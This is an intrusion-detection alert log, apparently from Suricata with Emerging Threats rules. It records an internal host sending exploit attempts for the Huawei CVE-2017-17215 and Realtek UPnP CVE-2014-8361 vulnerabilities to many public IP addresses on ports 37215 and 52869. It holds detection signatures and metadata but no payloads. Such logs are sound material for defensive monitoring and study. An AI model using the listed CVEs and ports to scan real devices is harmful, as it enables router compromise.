ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 203.129.114.89

Timestamp:	07/20/24-23:00:59.021933
SID:	2835222
Source Port:	38854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 158.124.195.199

Timestamp:	07/20/24-23:01:14.518210
SID:	2027339
Source Port:	47726
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.250.181.100

Timestamp:	07/20/24-23:01:02.695892
SID:	2835222
Source Port:	43962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 93.108.13.246

Timestamp:	07/20/24-23:01:04.846946
SID:	2829579
Source Port:	59188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.227.66.166

Timestamp:	07/20/24-23:01:12.502954
SID:	2835222
Source Port:	58018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.112.105.26

Timestamp:	07/20/24-23:01:25.456960
SID:	2835222
Source Port:	40224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.106.231.112

Timestamp:	07/20/24-23:00:59.022606
SID:	2835222
Source Port:	35422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.117.251.239

Timestamp:	07/20/24-23:01:32.260443
SID:	2835222
Source Port:	52022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.189.139.115

Timestamp:	07/20/24-23:01:02.601732
SID:	2835222
Source Port:	34612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.49.223.204

Timestamp:	07/20/24-23:01:08.381624
SID:	2829579
Source Port:	36442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 152.161.224.79

Timestamp:	07/20/24-23:01:14.539913
SID:	2831300
Source Port:	51786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 24.98.52.32

Timestamp:	07/20/24-23:01:22.741097
SID:	2835222
Source Port:	59334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 47.21.202.187

Timestamp:	07/20/24-23:01:14.522190
SID:	2027339
Source Port:	54410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.171.102.62

Timestamp:	07/20/24-23:01:22.745836
SID:	2835222
Source Port:	51794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.194.56.97

Timestamp:	07/20/24-23:01:02.613618
SID:	2829579
Source Port:	35908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.17.9.128

Timestamp:	07/20/24-23:00:59.020131
SID:	2829579
Source Port:	37720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 83.224.119.168

Timestamp:	07/20/24-23:01:05.623019
SID:	2027339
Source Port:	39716
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.200.98.141

Timestamp:	07/20/24-23:00:59.019656
SID:	2835222
Source Port:	51224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.215.111.230

Timestamp:	07/20/24-23:01:25.390311
SID:	2835222
Source Port:	46446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.73.12.212

Timestamp:	07/20/24-23:01:22.819749
SID:	2829579
Source Port:	49508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 14.89.47.143

Timestamp:	07/20/24-23:01:02.661070
SID:	2829579
Source Port:	52570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 143.236.166.197

Timestamp:	07/20/24-23:01:04.996112
SID:	2027339
Source Port:	42384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 77.182.150.37

Timestamp:	07/20/24-23:01:14.539913
SID:	2831300
Source Port:	57754
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 135.241.25.166

Timestamp:	07/20/24-23:01:04.798742
SID:	2027339
Source Port:	48496
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 57.53.68.209

Timestamp:	07/20/24-23:01:07.411128
SID:	2025132
Source Port:	58568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.133.113.49

Timestamp:	07/20/24-23:01:25.390310
SID:	2835222
Source Port:	48260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.199.15.206

Timestamp:	07/20/24-23:01:02.628234
SID:	2829579
Source Port:	37288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.239.252.49

Timestamp:	07/20/24-23:01:36.796105
SID:	2835222
Source Port:	45400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 170.155.211.72

Timestamp:	07/20/24-23:01:36.855169
SID:	2829579
Source Port:	35644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 91.112.89.216

Timestamp:	07/20/24-23:01:02.607576
SID:	2835222
Source Port:	36190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 159.21.195.127

Timestamp:	07/20/24-23:01:27.354949
SID:	2831300
Source Port:	40744
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 80.238.42.16

Timestamp:	07/20/24-23:01:19.329748
SID:	2025132
Source Port:	42244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 141.36.128.134

Timestamp:	07/20/24-23:01:06.544900
SID:	2025132
Source Port:	43130
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 31.175.187.129

Timestamp:	07/20/24-23:01:14.502469
SID:	2831300
Source Port:	43894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 64.225.124.7

Timestamp:	07/20/24-23:01:14.556764
SID:	2027339
Source Port:	49512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.115.182.83

Timestamp:	07/20/24-23:01:25.414531
SID:	2829579
Source Port:	42526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.44.80.81

Timestamp:	07/20/24-23:01:32.271087
SID:	2835222
Source Port:	55338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.130.207.237

Timestamp:	07/20/24-23:01:14.998326
SID:	2835222
Source Port:	53280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 98.254.20.30

Timestamp:	07/20/24-23:01:19.345992
SID:	2027339
Source Port:	52382
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 107.240.237.92

Timestamp:	07/20/24-23:01:07.555762
SID:	2027339
Source Port:	53292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 104.26.83.71

Timestamp:	07/20/24-23:01:14.501229
SID:	2027339
Source Port:	45402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.253.26.85

Timestamp:	07/20/24-23:01:06.804996
SID:	2835222
Source Port:	44796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.112.159.46

Timestamp:	07/20/24-23:01:02.613456
SID:	2829579
Source Port:	35018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.231.142.145

Timestamp:	07/20/24-23:01:22.739029
SID:	2829579
Source Port:	60976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.21.175.88

Timestamp:	07/20/24-23:01:04.853128
SID:	2835222
Source Port:	41746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 138.112.34.112

Timestamp:	07/20/24-23:01:20.563042
SID:	2027339
Source Port:	52508
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.204.98.25

Timestamp:	07/20/24-23:00:59.021252
SID:	2829579
Source Port:	37320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.175.218.202

Timestamp:	07/20/24-23:01:25.416964
SID:	2829579
Source Port:	35244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.84.146.44

Timestamp:	07/20/24-23:01:32.206772
SID:	2829579
Source Port:	54228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 77.11.226.101

Timestamp:	07/20/24-23:01:27.352658
SID:	2027339
Source Port:	46798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 101.150.57.159

Timestamp:	07/20/24-23:01:21.019040
SID:	2025132
Source Port:	59282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.145.183.59

Timestamp:	07/20/24-23:00:59.020493
SID:	2835222
Source Port:	44818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 172.51.83.216

Timestamp:	07/20/24-23:01:14.527950
SID:	2831300
Source Port:	40684
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 197.103.196.150

Timestamp:	07/20/24-23:01:19.070489
SID:	2027339
Source Port:	53418
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.15.189.58

Timestamp:	07/20/24-23:01:08.459274
SID:	2829579
Source Port:	57096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.97.73.167

Timestamp:	07/20/24-23:01:22.744419
SID:	2835222
Source Port:	40832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 51.230.131.89

Timestamp:	07/20/24-23:01:14.518210
SID:	2831300
Source Port:	59672
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 112.136.148.134

Timestamp:	07/20/24-23:01:07.457703
SID:	2025132
Source Port:	42968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.155.97.104

Timestamp:	07/20/24-23:01:25.390544
SID:	2835222
Source Port:	56014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 23.221.87.235

Timestamp:	07/20/24-23:01:27.354991
SID:	2027339
Source Port:	38378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 170.23.175.88

Timestamp:	07/20/24-23:01:14.539379
SID:	2027339
Source Port:	44524
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.122.143.112

Timestamp:	07/20/24-23:01:22.748660
SID:	2829579
Source Port:	56070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.246.25.39

Timestamp:	07/20/24-23:01:25.397771
SID:	2835222
Source Port:	49922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.120.106.92

Timestamp:	07/20/24-23:01:08.419092
SID:	2829579
Source Port:	59286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.164.134.229

Timestamp:	07/20/24-23:01:02.612616
SID:	2835222
Source Port:	36826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.2.226.172

Timestamp:	07/20/24-23:01:32.260444
SID:	2829579
Source Port:	45028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 8.85.166.254

Timestamp:	07/20/24-23:01:14.536691
SID:	2027339
Source Port:	44536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.79.176.119

Timestamp:	07/20/24-23:01:25.397771
SID:	2829579
Source Port:	44506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.75.227.228

Timestamp:	07/20/24-23:01:32.238261
SID:	2829579
Source Port:	39276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.174.42.115

Timestamp:	07/20/24-23:01:02.607576
SID:	2829579
Source Port:	50408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 96.235.29.144

Timestamp:	07/20/24-23:01:14.575911
SID:	2027339
Source Port:	46990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 100.58.169.89

Timestamp:	07/20/24-23:01:04.592707
SID:	2027339
Source Port:	32812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 183.33.143.75

Timestamp:	07/20/24-23:01:04.960605
SID:	2025132
Source Port:	47374
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.116.235.163

Timestamp:	07/20/24-23:01:04.841989
SID:	2835222
Source Port:	34506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.232.225.193

Timestamp:	07/20/24-23:01:07.426654
SID:	2027339
Source Port:	57308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 221.85.136.10

Timestamp:	07/20/24-23:01:14.525838
SID:	2027339
Source Port:	48282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 53.181.49.136

Timestamp:	07/20/24-23:01:06.799605
SID:	2835222
Source Port:	39816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 40.45.115.153

Timestamp:	07/20/24-23:01:02.601458
SID:	2829579
Source Port:	58204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.255.50.16

Timestamp:	07/20/24-23:01:04.893876
SID:	2835222
Source Port:	45362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.97.63.100

Timestamp:	07/20/24-23:01:08.407500
SID:	2835222
Source Port:	34388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 111.129.109.250

Timestamp:	07/20/24-23:02:20.309421
SID:	2829579
Source Port:	39848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 158.95.177.24

Timestamp:	07/20/24-23:01:27.352864
SID:	2027339
Source Port:	54336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 112.41.208.220

Timestamp:	07/20/24-23:01:27.237698
SID:	2835222
Source Port:	46118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.215.137.160

Timestamp:	07/20/24-23:01:22.748660
SID:	2829579
Source Port:	59194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.221.35.218

Timestamp:	07/20/24-23:01:08.447448
SID:	2835222
Source Port:	48954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 2.24.106.226

Timestamp:	07/20/24-23:01:14.558193
SID:	2027339
Source Port:	45534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.9.119.173

Timestamp:	07/20/24-23:00:59.022402
SID:	2835222
Source Port:	58296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 209.200.229.61

Timestamp:	07/20/24-23:01:14.521013
SID:	2831300
Source Port:	59240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.60.18.93

Timestamp:	07/20/24-23:01:02.613618
SID:	2835222
Source Port:	59198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 95.49.112.227

Timestamp:	07/20/24-23:01:07.550390
SID:	2027339
Source Port:	55746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 119.98.5.56

Timestamp:	07/20/24-23:01:14.566160
SID:	2831300
Source Port:	59608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.47.240.95

Timestamp:	07/20/24-23:01:08.407500
SID:	2829579
Source Port:	39418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.167.94.194

Timestamp:	07/20/24-23:01:06.808312
SID:	2829579
Source Port:	46544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.129.27.74

Timestamp:	07/20/24-23:01:22.812907
SID:	2835222
Source Port:	43490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.204.210.210

Timestamp:	07/20/24-23:01:25.389445
SID:	2829579
Source Port:	53806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.51.230.24

Timestamp:	07/20/24-23:01:32.199190
SID:	2835222
Source Port:	41874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 13.246.228.105

Timestamp:	07/20/24-23:01:12.485458
SID:	2829579
Source Port:	37386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.243.143.47

Timestamp:	07/20/24-23:01:36.785491
SID:	2829579
Source Port:	43124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 148.83.172.41

Timestamp:	07/20/24-23:01:06.802009
SID:	2835222
Source Port:	60782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.68.241.243

Timestamp:	07/20/24-23:01:08.455372
SID:	2835222
Source Port:	34354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.170.0.226

Timestamp:	07/20/24-23:01:02.699257
SID:	2835222
Source Port:	37696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

